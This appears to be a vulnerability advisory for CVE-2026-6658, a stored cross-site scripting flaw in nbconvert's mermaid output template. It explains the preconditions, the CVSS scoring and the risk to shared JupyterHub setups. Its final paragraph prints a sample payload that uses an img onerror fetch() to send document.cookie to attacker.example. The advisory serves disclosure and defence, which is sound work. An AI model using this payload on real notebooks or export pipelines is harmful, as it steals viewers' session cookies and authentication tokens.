Jupyter nbconvert CVE-2026-6658

Exploitation requires two concrete conditions: first, the attacker must have low-privilege write access to a Jupyter notebook - sufficient to set a cell's output MIME type to text/vnd.mermaid with attacker-controlled content (PR:L); second, a victim with a browser session must actively open or view an HTML file produced by nbconvert from that notebook (UI:R). The specific triggering code path is the data_mermaid block in share/templates/lab/base.html.j2, meaning only notebooks containing text/vnd.mermaid MIME outputs exercise the vulnerable rendering path - notebooks using only standard output types (text/plain, image/png, etc.) are not affected. Exploitation is limited to the stored-XSS attack surface: an attacker cannot exploit this remotely without first planting the payload in a notebook. Non-default configuration is not required; the vulnerable template is part of the default lab template set shipped with nbconvert.

The CVSS 3.0 base score of 5.4 (Medium) with vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N reflects a stored-XSS pattern that is exploitable at low complexity but requires two preconditions: the attacker must hold low-privilege access to author or modify a notebook (PR:L), and a victim must actively render and view the HTML export (UI:R). The Scope:Changed metric correctly captures that the impact crosses from the conversion environment into the victim's browser session, enabling session theft, credential phishing, or pivot to other browser-accessible services. No EPSS score was provided in the input data, so exploitation probability cannot be quantified numerically. The vulnerability is not in the CISA KEV catalog and no POC code is referenced. Real-world risk is highest in shared JupyterHub or organizational notebook-publishing workflows where users trust internally generated HTML exports - threat actors who already have notebook-write access (e.g., compromised researcher accounts, malicious insiders) could silently weaponize an export pipeline to harvest session tokens from administrators who preview notebooks.

An attacker with contributor access to a shared JupyterHub instance authors a notebook cell with text/vnd.mermaid output containing a payload such as </pre><img src=x onerror=fetch('https://attacker.example/c?c='+document.cookie)>. When a JupyterHub administrator or data reviewer exports the notebook to HTML using nbconvert and opens the resulting file in their browser, the injected script fires and exfiltrates the viewer's session cookies or JupyterHub authentication tokens to the attacker's server. No publicly available proof-of-concept code has been identified, but the injection technique is trivial given the disclosed template code path.